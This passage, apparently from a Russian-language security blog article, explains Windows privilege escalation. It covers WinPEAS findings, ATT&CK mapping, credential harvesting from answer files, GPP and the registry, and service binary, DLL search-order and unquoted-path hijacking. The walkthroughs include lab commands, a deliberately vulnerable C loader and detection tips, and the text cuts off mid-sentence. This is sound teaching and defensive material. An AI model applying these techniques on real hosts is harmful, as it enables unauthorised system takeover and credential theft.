- Привилегированная служба запускается (или перезапускается) и пытается создать канал с тем же именем. Но канал уже занят, поэтому попытка создания завершается ошибкой или (в зависимости от реализации) служба подключается как клиент к уже существующему каналу. В другом варианте атаки служба выступает в роли клиента и подключается к этому существующему каналу, полагая, что он принадлежит легитимному серверу.
- Служба, работающая от имени SYSTEM, подключается к каналу атакующего и присылает команду или данные, ожидая, что на другом конце этого канала легитимный процесс.
- Атакующий, управляющий сервером канала, может воспользоваться функцией
ImpersonateNamedPipeClient— она позволяет серверной стороне канала получить токен безопасности клиента и работать от его имени.
Если клиентом оказалась привилегированная служба SYSTEM, атакующий получает токен SYSTEM в своем процессе и сможет использовать его для запуска произвольного кода с максимальными привилегиями.
Почему в примере выше нет эксплуатации? WinPEAS явно указывает: No privileged handles observed (service idle or access denied). Значит, на момент проверки ни один привилегированный процесс не был подключен к этим каналам как клиент. Они были неактивны или инструмент не смог получить доступ для проверки открытых хендлов. Иными словами, слабые права на запись есть, но нет самой «наживки», то есть привилегированного процесса, который в этот момент активно использует этот канал.
Это важный нюанс: подобные находки часто требуют повторного наблюдения в динамике. Необходимо проверять еще раз в момент запуска или перезапуска соответствующей службы, использовать планировщик задач, который перезапускает службу по расписанию, или задействовать принудительный триггер события, которое заставит службу переподключиться к каналу.
Но это все равно важная находка. Даже без немедленной эксплуатации обнаруженные слабые ACL на именованном канале — это сигнал о потенциально неправильно спроектированном IPC‑механизме в системе. Атакующий получает направление дальнейшей разведки: какая служба создает этот канал, по какому расписанию она перезапускается, можно ли спровоцировать перезапуск службы самостоятельно (например, через штатные возможности самой службы, вызов ошибки, отправку некорректных данных).
Object Manager race‑window amplification primitives
Еще одна показательная находка в выводе WinPEAS:
╔══════════╣ Object Manager race-window amplification primitives (T1068)
╚ Project Zero write-up: https://projectzero.google/2025/12/windows-exploitation-techniques.html
Created a test named event (PEAS_OMNS_...) under \BaseNamedObjects.
╚ -> Low-privileged users can slow NtOpen*/NtCreate* lookups using ~32k-character names or ~16k-level directory chains.
╚ -> Point attacker-controlled symbolic links to the slow path to stretch kernel race windows.
╚ -> Use this whenever a bug follows check -> NtOpenX -> privileged action patterns.
Что такое Object Manager
В основе Windows лежит единое пространство имен объектов ядра — Object Manager namespace. Через него система обращается к файлам, событиям, мьютексам, секциям памяти, символическим ссылкам и другим объектам ядра. Когда приложение пользователя, системная служба или любой другой процесс хочет открыть объект по имени (например, \BaseNamedObjects\MyEvent), вызывается функция уровня ядра вроде NtOpenEvent или NtCreateFile. Сначала эта функция должна найти объект в иерархии Object Manager, пройдя по всей цепочке директорий и разрешив имя.
Особенности техники How slow can you go
Технику описал Джеймс Форшоу из Google Project Zero еще в 2016 году и опубликовал в журнале PoC||GTFO. Но недавно Google переиздал материал с обновленным анализом для актуальных версий Windows, поэтому в URL указан 2025 год, хотя сама идея старше на десятилетие.
Процесс разрешения имени объекта (path lookup) в Object Manager не мгновенная операция. Она занимает время, пропорциональное сложности пути, и это время можно сознательно и предсказуемо увеличивать, оставаясь при этом обычным непривилегированным пользователем.
WinPEAS перечисляет несколько таких способов:
- Очень длинные имена объектов. Windows допускает имена объектов длиной примерно до 32 000 символов. Чем длиннее строка имени, тем дольше ядру приходится ее обрабатывать. При поиске эта зависимость прямо пропорциональна.
- Глубокие цепочки вложенных директорий. Вместо одного длинного имени можно создать вложенную структуру директорий в Object Manager глубиной примерно до 16 000 уровней. Каждый уровень добавляет дополнительный шаг при разрешении пути, и итоговая задержка растет.
- Символические ссылки с многократным перенаправлением. Object Manager поддерживает объекты‑симлинки, которые перенаправляют лукап на другой путь. Каждое перенаправление заново запускает процесс разрешения имени, а таких перенаправлений можно использовать несколько.
Комбинируя эти приемы, можно растянуть время разрешения одного пути с единиц микросекунд до нескольких миллисекунд. На первый взгляд, разница незначительная, но в контексте эксплуатации гонок (race conditions) это огромный выигрыш.
Зачем это нужно атакующему
Многие уязвимости класса TOCTOU (time‑of‑check to time‑of‑use) в ядре и системных службах используют один и тот же паттерн:
- Код проверяет безопасность объекта по имени (check).
- Повторно открывает или создает этот же объект по имени (
NtOpenX). - Выполняет над ним привилегированное действие (privileged action).
Между первым и вторым шагом существует короткое окно времени, в течение которого атакующий теоретически может подменить (например, с помощью символической ссылки) объект, на который указывает путь. В результате на втором шаге система откроет уже не тот объект, который проверила на первом.
Проблема для атакующего заключается в том, что это окно обычно настолько мало, что физически невозможно успеть выполнить подмену.
Именно здесь применяется техника, описанная исследователями Google Project Zero. Если заставить второй вызов (NtOpenX на втором шаге) выполняться медленнее — например, за счет длинного имени, глубокой вложенности каталогов или цепочки символических ссылок, — окно гонки искусственно увеличивается. Этого времени уже достаточно, чтобы атакующий успел переключить символическую ссылку на нужный объект между первым и вторым шагом.
Сама по себе техника не эксплоит, а вспомогательный примитив. Но эта находка в выводе WinPEAS ценна не как готовая уязвимость, а как иллюстрация методологии современных атак на Windows. Инструмент фактически показывает: если в системе или стороннем ПО найдется код, построенный по паттерну check → open → privileged action, атакующий сможет воспользоваться известным способом, позволяющим выиграть гонку, которая в обычных условиях считается неприменимой для эксплуатации.
Для более глубокого изучения темы (конкретные API‑вызовы, код на C++, цифры замеров задержек) обратитесь к оригинальной публикации Джеймса Форшоу.
AV exclusions — потенциальный вектор для defense evasion
Разберем еще один раздел вывода — обнаруженные исключения антивируса:
╔══════════╣ Windows Defender configuration (T1518.001)
Local Settings
Path Exclusions:
C:\ProgramData\Kaspersky Lab\AVP21.23\Data\webview2
C:\ProgramData\Kaspersky Lab\AVP21.24\Data\webview2
PolicyManagerPathExclusions:
C:\ProgramData\Kaspersky Lab\AVP21.23\Data\webview2
C:\ProgramData\Kaspersky Lab\AVP21.24\Data\webview2
Исключения антивируса (antivirus exclusions) — это папки, файлы или процессы, которые администратор или защитное ПО исключает из сканирования. Этот механизм существует по легитимным причинам: постоянное сканирование системных и служебных директорий в режиме реального времени может вызывать конфликты, ложные срабатывания и заметно увеличивать нагрузку на систему. Поэтому разработчики ПО рекомендуют добавлять рабочие каталоги в список исключений.
Однако для злоумышленника исключения антивируса — это готовая карта «слепых зон» системы. Если файл находится в исключенной директории, антивирус не будет его проверять независимо от того, насколько опасно его содержимое.
Поэтому перечисление AV exclusions — один из первых этапов разведки после компрометации хоста. Это актуально как для red team, так и для реального атакующего. Команда Get-MpPreference в PowerShell (или ее эквиваленты для сторонних антивирусов) — первое, что проверяется после получения доступа.
Почему в данном случае находка не критична
В выводе работы программы WinPEAS оба исключения указывают на внутренние технические папки антивируса Kaspersky:
C:\ProgramData\Kaspersky Lab\AVP21.23\Data\webview2 C:\ProgramData\Kaspersky Lab\AVP21.24\Data\webview2
Это каталоги встроенного компонента WebView2 — движка на базе Chromium, который Kaspersky использует для отображения интерфейса, уведомлений, личного кабинета и других элементов. Такие исключения — стандартная работы антивируса: они автоматически добавляются при установке или обновлении продукта и не свидетельствуют об ошибке конфигурации.
Кроме того, эти каталоги находятся внутри защищенной структуры каталогов Kaspersky. У непривилегированного пользователя нет прав на запись в них, поэтому разместить там стороннюю вредоносную нагрузку невозможно.
Ценность этой находки — не в конкретном результате, а в демонстрации самой методологии. WinPEAS автоматизирует шаг, который вручную пришлось бы проводить через реестр или PowerShell, и сразу выводит список исключений в удобном виде. Представим, что вместо служебных папок антивируса в списке оказалось что‑то подобное:
C:\Users\Public\— общедоступная директория, куда может писать любой локальный пользователь.C:\Windows\Temp\— системная временная директория с широкими правами на запись.- Путь внутри профиля конкретного пользователя, не связанный с самим антивирусом.
- Сетевая шара или съемный носитель.
В таком случае это был бы полноценный, реально эксплуатируемый вектор. Атакующий мог бы разместить вредоносный исполняемый файл прямо в исключенной директории и запустить его, не опасаясь обнаружения.
Инструменты WinPEAS и windows‑privesc‑check демонстрируют, насколько автоматизация меняет подход к поиску векторов повышения привилегий в Windows. Автоматизированный сканер выполняет за считаные секунды работу, на которую при ручном анализе ушли бы часы методичной проверки реестра, служб, прав доступа и конфигурационных файлов. К тому же эти инструменты позволяют одновременно сопоставлять результаты анализа с известными техниками и CVE.
Однако разбор конкретных находок показал, что объем собранных данных — лишь отправная точка, а не готовый результат. Слабые права на именованный канал ничего не значат без понимания, какая служба его использует и по какому расписанию он перезапускается. Техника эксплуатации race condition требует понимания того, как устроен Object Manager и какие паттерны кода уязвимы для TOCTOU. А список AV‑исключений бесполезен без оценки того, действительно ли непривилегированный пользователь может записывать данные в указанный каталог.
WinPEAS помогает выявить потенциальные проблемы, но решение, какие из них представляют угрозу, остается за специалистом. Поэтому автоматизированные средства стоит рассматривать не как замену эксперту, а как его усиление. Такие инструменты берут на себя рутинную часть работы, проводят широкий, но поверхностный анализ системы, освобождая человеку время на сложную проработку и интерпретацию результатов.
Независимо от того, использовался ли WinPEAS, windows‑privesc‑check или другой сканер, результаты аудита следует рассматривать как сырые данные для дальнейшего анализа, а не готовый отчет.
Повышение привилегий и закрепление в матрице MITRE ATT&CK
Прежде чем переходить к техническим деталям, подчеркнем, что повышение привилегий и закрепление не абстрактные этапы атаки. Это конкретные, воспроизводимые действия, которые мы регулярно обнаруживаем в реальных инцидентах. Именно поэтому они выделены как отдельные тактики в MITRE ATT&CK. Разберемся, как эти действия классифицированы и какое место они занимают в общей структуре матрицы.
В матрице MITRE ATT&CK этим двум направлениям соответствуют отдельные тактики: Privilege Escalation (TA0004) и Persistence (TA0003). Они наряду с Initial Access стабильно входят в топ наиболее эксплуатируемых тактик в реальных инцидентах, вне зависимости от типа атакующего и его мотивации.
Тактика Privilege Escalation насчитывает более 30 техник для Windows. Среди ключевых:
- T1055 — Process Injection — внедрение кода в уже запущенный привилегированный процесс.
- T1548 — Abuse Elevation Control Mechanism — обход UAC и других механизмов контроля повышения прав.
- T1134 — Access Token Manipulation — манипуляции с токенами доступа для имперсонации привилегированных пользователей.
- T1068 — Exploitation for Privilege Escalation — эксплуатация уязвимостей ядра или драйверов с целью повышения привилегий до уровня учетной записи SYSTEM (NT AUTHORITY\SYSTEM).
Тактика Persistence охватывает более 20 техник, ориентированных на Windows:
- T1547 — Boot or Logon Autostart Execution — закрепление через модификацию ключей автозапуска в реестре, папок автозапуска или объектов групповой политики.
- T1543 — Create or Modify System Process — регистрация вредоносных служб или подмена существующих.
- T1053 — Scheduled Task/Job — создание или модификация задач планировщика как классический вектор выживания в системе.
- T1546 — Event Triggered Execution — закрепление через злоупотребление WMI‑подписками, механизмом IFEO (image file execution options) или COM‑перехватами.
Обе тактики на практике неотделимы друг от друга: атакующий нередко сначала закрепляется с теми правами, что есть, а затем повышает привилегии. Или наоборот, получив SYSTEM, использует механизм закрепления, который будет запускаться с максимальными правами изначально.
Техники повышения привилегий
Рассмотрим наиболее распространенные практические методы (техники в широком смысле, не привязанные напрямую к отдельным ID MITRE ATT&CK), которые злоумышленники используют для эскалации привилегий в среде Windows.
Credentials in files — учетные данные в файлах
В рамках этой техники злоумышленник может обнаружить на хосте файлы, содержащие учетные данные привилегированных пользователей. Часто такие файлы остаются после автоматической установки системы (unattended installation) в виде файлов ответов (answer files).
Файлы ответов — это конфигурационные XML‑файлы, которые используются для автоматизации установки и настройки Windows. Они позволяют заранее задать параметры установки, чтобы система развернулась без вмешательства пользователя. При этом файлы могут содержать учетные данные привилегированных локальных учетных записей, включая администратора.
Типичные расположения файлов ответов:
C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml
Также при использовании инструмента Sysprep, предназначенного для подготовки системы к клонированию и массовому развертыванию, конфигурационные файлы sysprep.xml и sysprep.inf могут содержать параметры, применяемые после развертывания, включая привилегированные учетные данные.
Возможные пути размещения этих файлов:
C:\sysprep\sysprep.xml C:\sysprep\sysprep.inf C:\sysprep.inf
Файлы ответов и конфигурационные файлы Sysprep не всегда содержат учетные данные привилегированных пользователей: это зависит от настроек автоматической установки. Обнаружив такие файлы, злоумышленник может использовать сохраненные учетные данные, чтобы получить повышенные права на целевом хосте, закрепиться в системе и дальше распространяться по сети.
Пример: пароль в sysprep.inf
Пароль администратора хранится в явном виде прямо внутри конфигурационного файла. Чтобы его получить, злоумышленнику не требуется никаких дополнительных действий: достаточно открыть файл и прочитать значение параметра. В отличие от более сложных техник извлечения учетных данных, здесь нет механизмов защиты или сокрытия, что делает такой сценарий одним из самых простых, а следовательно, наиболее опасных.
sysprep.inf с паролем администратора в открытом виде
Пример: пароль в unattend.xml (Base64)
Пароль представлен не явно, а записан в поле <Value> в закодированном формате, при этом параметр <PlainText> установлен в значение false. Несмотря на это, речь не идет о шифровании. На практике используется лишь Base64‑кодирование. Такое представление не обеспечивает защиту данных, а лишь меняет их внешний вид. Если злоумышленник получит доступ к файлу, достаточно лишь декодировать значение и получить исходный пароль. Так что такой подход можно сравнить с хранением пароля в открытом виде.
unattend.xml с закодированным в Base64, но незашифрованным паролем администратора
Пример: учетная запись в sysprep.xml
Конфигурационный файл не только содержит пароль, но и описывает создание локальной учетной записи, которая сразу добавляется в группу администраторов. Это означает, что файл фактически задает привилегированный доступ в системе. Даже если пароль представлен в закодированном виде, его легко извлечь. В результате злоумышленник получает готовую учетную запись с административными правами, которую можно использовать для повышения привилегий или дальнейшего продвижения по инфраструктуре.
sysprep.xml, создающего локальную учетную запись с правами группы Administrators и закодированным в Base64 паролем
Credentials in group policy preferences — учетные данные в настройках групповых политик
Настройки групповой политики позволяют администраторам домена создавать и распространять параметры для локальных пользователей и учетных записей локальных администраторов. При использовании этой функции создаются файлы политик, которые хранятся в общей директории SYSVOL. Любой аутентифицированный пользователь домена имеет доступ к этим файлам для чтения, поскольку это необходимо для получения обновлений групповых политик.
Файлы настроек могут содержать пароли, которые сохраняются в зашифрованном виде. Однако алгоритм шифрования и ключи были публично раскрыты Microsoft, что делает возможным восстановление пароля из зашифрованного значения.
Пример расположения файлов настроек на локальном компьютере:
C:\ProgramData\Microsoft\Group Policy\History\"уникальные идентификаторы политик"\Machine\Preferences\Groups\Groups.xml
На контроллере домена файлы находятся в общедоступной директории SYSVOL:
\\"уникальные идентификаторы политик"\SYSVOL\Policies\"уникальные идентификаторы политик"\Machine\Preferences\Groups\Groups.xml
В результате злоумышленник, получивший доступ к этим файлам, может расшифровать пароли и использовать их для получения прав локального администратора или распространения атаки по доменной сети. Расшифровка cpassword тривиальна. Ключ был публично раскрыт Microsoft, и для его использования существуют готовые инструменты: gpp-decrypt в Linux и Get-GPPPassword для PowerShell.
При расследовании инцидентов обнаружение файлов ответов и конфигураций Sysprep с учетными данными — надежный индикатор компрометации. На что стоит обратить внимание:
- Наличие файлов
unattend.xml,sysprep.xml,sysprep.infв нестандартных расположениях или с недавней датой изменения. - Обращения к этим файлам со стороны подозрительных процессов. Это фиксируется в логах Sysmon (Event ID 11 — создание файла, Event ID 1 — запуск процесса).
- Попытки декодирования Base64 через PowerShell или certutil — характерный признак извлечения учетных данных из файлов ответов.
Credentials in registry — учетные данные в реестре
Злоумышленники могут исследовать реестр Windows в поисках учетных данных и паролей, сохраненных для автоматического использования программами или системными службами. Один из таких механизмов — автоматический вход в систему, при котором учетная запись, указанная в параметре DefaultUserName, получает доступ к системе без ввода пароля. Получив эти данные, атакующий может использовать валидные учетные записи для повышения привилегий, закрепления в системе и распространения атаки.
Ключи, отвечающие за эту функциональность, располагаются по пути:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
В этом разделе могут содержаться следующие параметры:
AutoAdminLogon— включает автоматический вход (значение 1);DefaultUserName— имя пользователя, под которым выполняется вход;DefaultDomainName— домен или имя компьютера;DefaultPassword— пароль пользователя (может храниться в открытом виде).
На скриншоте выше видно, что в такой конфигурации учетные данные хранятся в реестре в открытом виде и доступны для извлечения без дополнительных привилегий.
Мы привели пример лишь одного из возможных случаев. Учетные данные могут храниться и в других разделах реестра, в зависимости от используемых приложений и конфигурации системы.
При расследовании инцидентов обращения к ключам автоматического входа — индикатор разведки или извлечения учетных данных. На что стоит обратить внимание:
- Чтение или изменение ключа
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, фиксируется в Sysmon (Event ID 13 — изменение значения реестра). - Значения
DefaultPasswordв открытом виде. Это индикатор небезопасной конфигурации, который стоит проверять при аудите систем. - Запуск инструментов типа reg query или PowerShell‑команд для чтения этого ключа со стороны непривилегированных процессов. Это признак активной разведки.
Service binary hijacking — подмена исполняемого файла службы
Каждая служба Windows при запуске обращается к своему исполняемому файлу, путь к которому хранится в реестре (ImagePath в разделе HKLM\SYSTEM\CurrentControlSet\Services\<ИмяСлужбы>). Служба выполняется с определенной учетной записью, часто это LocalSystem, обладающая максимальными привилегиями в системе.
Проблема возникает, когда права доступа (ACL) на сам исполняемый файл службы или на директорию, где он расположен, настроены слишком широко, например когда обычная группа Users или Authenticated Users имеет право на запись. В этом случае непривилегированный пользователь может заменить легитимный файл службы на собственный вредоносный. При следующем запуске службы (вручную, при перезагрузке системы или автоматически, если служба настроена на автозапуск) Windows Service Control Manager запустит уже подмененный файл, но с правами исходной учетной записи службы.
Это классический пример эскалации привилегий по схеме: низкие права на объект + его запуск с высокими правами = получение высоких прав.
Чтобы безопасно показать механизм подмены, создадим собственную службу с намеренно ослабленными правами, чтобы не трогать реальные системные службы.
Пример. Подмена исполняемого файла
Шаг 1. Создание тестового исполняемого файла и службы:
Шаг 2. Намеренное ослабление прав на файл.
В реальности это могла быть ошибка стороннего инсталлятора, как в примере с Battle.net:
Шаг 3. Проверка, что права действительно ослаблены:
Чтобы корректно интерпретировать вывод icacls, разберемся в основных обозначениях прав доступа:
| Обозначение | Название | Что разрешает |
|---|---|---|
|
F |
Full access |
Полный доступ: чтение, запись, выполнение, изменение и удаление файла или объекта |
|
M |
Modify access |
Доступ на изменение: разрешает чтение, запись, удаление и изменение содержимого |
|
RX |
Read and execute access |
Чтение и выполнение: разрешает просматривать содержимое и запускать исполняемые файлы |
|
R |
Read‑only access |
Только чтение: разрешает только просматривать содержимое без изменений |
|
W |
Write‑only access |
Только запись: позволяет изменять содержимое, но запрещает его чтение |
В этом примере члены группы Users обладают правом F (full access) на бинарный файл службы. То есть они могут не только читать, но и полноценно изменять, перезаписывать и удалять его. Именно это позволяет подменить файл службы.
Отдельного внимания заслуживает отсутствие индикатора (I) перед этим разрешением в выводе icacls. Буква I (inherited) означает, что право унаследовано от родительского каталога, то есть было назначено автоматически по цепочке наследования, а не настроено специально для конкретного файла.
Если индикатор (I) отсутствует, это означает, что разрешение задано именно для этого файла. Обычно такие права устанавливает администратор или, что встречается гораздо чаще, инсталлятор стороннего ПО во время установки, как это было показано ранее на примере Battle.net.
Это важное методологическое различие для реального аудита: широкие права, унаследованные от общей директории (например, от C:\ProgramData), обычно менее показательны — это может быть особенность структуры каталогов в целом. А выставленное разрешение на конкретный исполняемый файл службы — куда более верный признак ошибки конфигурации именно этого компонента, заслуживающий отдельного внимания при поиске векторов повышения привилегий.
services.msc или PowerShell, сопоставив путь к исполняемому файлу службы с правами на этот файл:
System32, и оставляет только те, что расположены в других директориях, потенциально более доступных для записи. По тому же принципу работают автоматизированные инструменты, такие как WinPEAS и windows‑privesc‑check, рассмотренные ранее в статье. Они выполняют такую корреляцию путей и прав автоматически.Шаг 4. Эксплуатация.
Мы моделируем действие атакующего: подменяем файл службы. Вместо calc.exe в реальной атаке был бы вредоносный исполняемый файл, но для демонстрации используем обычный калькулятор. -Force нужен, чтобы перезаписать уже существующий по этому пути файл (заглушка notepad.exe из шага 1) без запроса подтверждения. Путь назначения совпадает с ImagePath, который служба использует при запуске, то есть при следующем старте VulnTestSvc Windows запустит уже подмененный файл, но с правами, заданными для службы изначально (LocalSystem).
Шаг 5. Перезапуск службы и подтверждение выполнения с правами LocalSystem:
sc.exe stop VulnTestSvc sc.exe start VulnTestSvc
При запуске службы откроется наш исполняемый файл. То есть подмененный файл действительно исполнен вместо оригинального.
При попытке запустить службу Service Control Manager (SCM) возвращает ошибку 1053: «Служба не ответила на запрос своевременно». Такое поведение ожидаемо и показательно. Дело в том, что calc.exe, которым мы подменили исполняемый файл службы, — обычное GUI‑приложение, а не служба Windows.
Настоящая служба должна взаимодействовать с SCM по специальному протоколу: регистрироваться, обрабатывать управляющие команды и сообщать о своем состоянии. calc.exe этого не делает, поэтому SCM, не получив ожидаемого ответа, фиксирует тайм‑аут.
Ключевой момент в том, что происходит до появления этой ошибки. SCM обнаруживает проблему только после запуска процесса: ОС сначала запускает файл, расположенный по пути, указанному в реестре, и только затем ожидает, что он начнет взаимодействовать с диспетчером служб по протоколу Windows Service API. Проверим это на практике:
Несмотря на ошибку 1053, процесс фактически запущен и выполняется в системе. Это наглядно демонстрирует главную опасность техники: момент исполнения подмененного файла происходит независимо от того, ведет ли он себя как корректная служба. SCM запускает файл по указанному пути безусловно. Проверка, является ли это настоящей службой, происходит постфактум, когда код уже получил управление.
В реальной атаке вместо calc.exe использовался бы написанный service‑совместимый вредоносный бинарный файл, который бы корректно взаимодействовал с SCM и не вызвал ошибку 1053. В результате служба успешно перешла бы в состояние running без внешних признаков компрометации.
Эксперимент с calc.exe лишь демонстрирует, что код успевает выполниться до того, как SCM обнаружит нарушение протокола взаимодействия со службой. На практике корректно реализованная вредоносная служба работает незаметно и не оставляет даже такого косвенного признака, как ошибка запуска.
Подмена динамической библиотеки службы
Еще один способ эксплуатировать службы Windows для повышения привилегий — злоупотребление механизмом загрузки динамических библиотек. В этом случае атакующему не требуется доступ к бинарному файлу или к системным каталогам. Уязвимость кроется в том, как Windows ищет вспомогательные DLL, которые процесс подгружает в ходе своей работы.
Когда служба Windows запускается, она обращается не только к своему исполняемому файлу, но и к динамическим библиотекам (DLL), которые загружаются в процессе работы. Если приложение запрашивает библиотеку только по имени, не указывая полный путь к ней: (LoadLibraryA("helper.dll") вместо LoadLibraryA("C:\\Program Files\\App\\helper.dll")), Windows ищет ее в каталогах по строго определенной последовательности.
Проблема возникает, если один из каталогов, которые Windows проверяет раньше каталога с легитимной DLL (или раньше System32 и каталога Windows), доступен с правом на запись непривилегированному пользователю. В этом случае атакующий может разместить в таком каталоге собственную библиотеку с тем же именем, и служба, работающая от имени LocalSystem, загрузит и выполнит ее код.
Это еще один пример повышения привилегий по схеме: низкие права на объект + объект загружается процессом с высокими привилегиями = получение высоких привилегий. Однако, в отличие от подмены исполняемого файла службы, здесь атакующему не нужны права на сам исполняемый файл или системный каталог: достаточно прав на один из промежуточных каталогов поиска.
Чтобы безопасно продемонстрировать механизм, создадим собственное тестовое приложение, имитирующее уязвимую службу.
Пример. Порядок поиска DLL
При включенной по умолчанию функции Safe DLL Search Mode Windows проверяет каталоги в следующей строгой последовательности:
- Каталог, из которого загружено приложение.
- Системный каталог (
C:\Windows\System32илиSysWOW64для 32‑битных процессов на 64‑битной системе). - 16‑битный системный каталог (
C:\Windows\System). - Каталог Windows (
C:\Windows). - Текущий рабочий каталог.
- Каталоги, перечисленные в переменной окружения PATH.
Если функция Safe DLL Search Mode отключена, текущий рабочий каталог проверяется на второй позиции, сразу после каталога приложения. Это заметно расширяет поверхность атаки.
Шаг 1. Создание тестового приложения и службы.
В примере мы не будем искать реально уязвимую службу в системе, а создадим собственное консольное приложение, имитирующее поведение этой службы. При запуске оно пытается подгрузить библиотеку helper.dll, указывая только ее имя, без полного пути.
// service_stub.c
#include <windows.h>
#include <stdio.h>
int main() {
HMODULE h = LoadLibraryA("helper.dll"); // без полного пути — ключевая уязвимость
if (h) {
typedef void (*FuncPtr)();
FuncPtr Init = (FuncPtr)GetProcAddress(h, "Init");
if (Init) Init();
} else {
printf("helper.dll not found, continuing with limited functionality\n");
}
Sleep(INFINITE);
return 0;
}
Регистрируем его как службу Windows, выполняющуюся от имени LocalSystem. Так мы моделируем ситуацию, когда легитимный сторонний софт запущен с более высокими привилегиями, чем у обычного пользователя:
sc.exe create DemoVulnSvc binPath= "C:\DemoLab\service_stub.exe" start= demand obj= LocalSystem
Шаг 2. Намеренное ослабление прав на каталог.
В реальных находках уязвимость чаще всего возникает не из‑за прав на сам файл службы, а из‑за прав на каталог, куда сторонний инсталлятор кладет вспомогательные компоненты. Для демонстрации выдадим группе Users полный доступ к каталогу приложения:
icacls C:\DemoLab /grant *S-1-5-32-545:(OI)(CI)F
Шаг 3. Фиксация поведения «до»: DLL отсутствует
Прежде чем эксплуатировать уязвимость, важно зафиксировать штатное поведение приложения. Для этого используем Process Monitor: запускаем захват событий, применяем фильтр Process Name = service_stub.exe и запускаем тестовое приложение при отсутствующей helper.dll.
helper.dll по стандартным каталогам
Полученный трейс воспроизводит порядок поиска DLL, описанный выше: каждая строка представляет собой отдельную попытку открыть файл через вызов CreateFile в очередном каталоге:
| № | Путь | Результат | Позиция в порядке поиска |
|---|---|---|---|
|
1 |
|
Name not found |
Каталог приложения |
|
2 |
|
Name not found |
Системный каталог |
|
3 |
|
Name not found |
16‑битный системный каталог |
|
4 |
|
Name not found |
Каталог Windows |
|
5 |
|
Name not found |
Каталог из PATH |
|
6 |
|
Name not found |
Каталог из PATH |
|
7 |
|
Path not found |
Каталог из PATH |
|
8 |
|
Name not found |
Каталог из PATH |
Разберемся, в чем разница между Name not found и Path not found в колонке «Результат». Name not found означает, что каталог существует, но искомого файла в нем нет. Это стандартная ситуация для большинства шагов поиска. Path not found говорит о том, что сам каталог физически отсутствует в системе. Как правило, это происходит после удаления ПО, запись о котором сохранилась в переменной Path. Такая ситуация сама по себе может расширять поверхность атаки. Если злоумышленник создаст отсутствующий каталог с широкими правами доступа, то потенциально сможет использовать его для выполнения кода с повышенными привилегиями.
Важно обратить внимание на строку проверки параметра реестра HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode. Результат Name not found означает, что параметр не задан явно и система использует поведение по умолчанию, то есть безопасный режим поиска включен.
Шаг 4. Эксплуатация: подмена библиотеки.
На этом этапе мы моделируем действие атакующего. Пользуясь правами на запись, выданными на втором шаге, копируем собственную библиотеку helper.dll в каталог приложения — первый по приоритету в цепочке поиска.
В реальной атаке на месте тестовой библиотеки находился бы вредоносный код, но для демонстрации используется безобидный PoC — библиотека, которая фиксирует факт своего выполнения, не производя деструктивных действий.
Шаг 5. Фиксация поведения «после»: DLL найдена.
Теперь вместо цепочки из восьми неудачных попыток трейс содержит:
| Операция | Путь | Результат | Объяснение |
|---|---|---|---|
|
CreateFile |
|
Success |
Файл найден на первом же шаге поиска — в каталоге приложения. Ключевое отличие от трейса «до», где на этом пути был Name not found |
|
QueryBasicInformation |
|
Success |
Windows запрашивает метаданные файла (время создания, размер и т. д.) |
|
CloseFile |
|
Success |
Первый дескриптор файла закрывается — это служебная операция перед отображением файла в памяти |
|
CreateFile |
|
Success |
Файл открывается повторно для непосредственной загрузки образа |
|
CreateFileMapping |
|
File locked with only readers |
Файл проецируется в память для исполнения. Статус говорит о том, что файл заблокирован в режиме, разрешающем только чтение другим процессам, пока используется как образ |
|
CreateFileMapping |
|
Success |
Второе отображение — под заголовки и секции PE‑файла |
|
Load Image |
|
Success |
Библиотека фактически загружена в адресное пространство процесса |
|
CloseFile |
|
Success |
Файловый дескриптор закрывается, т. к. дальнейшая работа идет уже с образом в памяти, а не с файлом на диске |
В трейсе без DLL первая попытка выполнить команду CreateFile C:\DemoLab\helper.dll возвращала Name not found, и Windows продолжала перебор по восьми каталогам. В трейсе с подложенной библиотекой первая попытка выполнения сразу выдает результат Success. И вся дальнейшая цепочка (CreateFileMapping, Load Image) — это стандартный процесс загрузки библиотеки в память, который выполнился бы одинаково как для легитимной DLL, так и для подложенной.
Ключевой момент демонстрации заключается в том, что выполнение кода из подложенной DLL происходит до проверки ее подлинности или назначения. Windows загружает первую найденную библиотеку с нужным именем в соответствии с порядком поиска. В нашем примере это подтверждается записью в логе PoC‑библиотеки: имя учетной записи, от имени которой была выполнена функция Init(), соответствует контексту, в котором запущен процесс‑жертва (в реальном сценарии — LocalSystem), а не пользователю, который физически разместил файл в каталоге.
В отличие от прямой подмены бинарного файла службы, где Service Control Manager хотя бы постфактум фиксирует несоответствие протоколу (ошибка 1053), при методе кибератаки DLL search order hijacking грамотно подготовленная библиотека, корректно экспортирующая ожидаемые функции, отрабатывает полностью незаметно. Приложение продолжает работать в штатном режиме, не подавая внешних признаков компрометации.
Unquoted service path — некорректный путь без кавычек к службе
Повысить привилегии в Windows можно также через уязвимость, связанную с непрописанными путями к исполняемым файлам служб. Это достижимо, если злоумышленник обладает правами записи в каталог службы или его подкаталоги.
Каждая служба Windows соответствует исполняемому файлу, который запускается при старте службы с использованием функции CreateProcess. Если путь к файлу содержит пробелы и не заключен в кавычки, система некорректно интерпретирует путь, принимая часть строки перед пробелом за имя файла, а остаток — за аргументы.
Рассмотрим пример с непрописанным путем к бинарному файлу службы:
C:\Program Files\My Program\My Service\service.exe
При запуске службы система попытается найти исполняемый файл в следующем порядке:
C:\Program.exe C:\Program Files\My.exe C:\Program Files\My Program\My.exe C:\Program Files\My Program\My service\service.exe
Чтобы эксплуатировать эту уязвимость, злоумышленник создает вредоносный исполняемый файл, помещает его в директорию, соответствующую одному из интерпретированных путей, и присваивает ему имя, совпадающее с одним из перехваченных путей из списка выше (например, Program.exe или My.exe). При следующем запуске службы ОС выполнит подмененный файл с теми же привилегиями, что и служба. В случае LocalSystem это означает выполнение кода с максимальными правами.
Первые два варианта из примера требуют привилегий на запись в системные директории, которых у стандартного пользователя нет. Третий вариант наиболее реалистичный. Если разработчик или администратор выдал разрешения на запись в основную директорию приложения, злоумышленник может разместить там вредоносный файл и дождаться запуска службы с привилегиями LocalSystem.
При расследовании инцидентов уязвимость unquoted service path выявляется как на этапе аудита конфигурации, так и при анализе активности в реальном времени. На что стоит обратить внимание:
- Службы с непрописанными путями. Их можно обнаружить командой
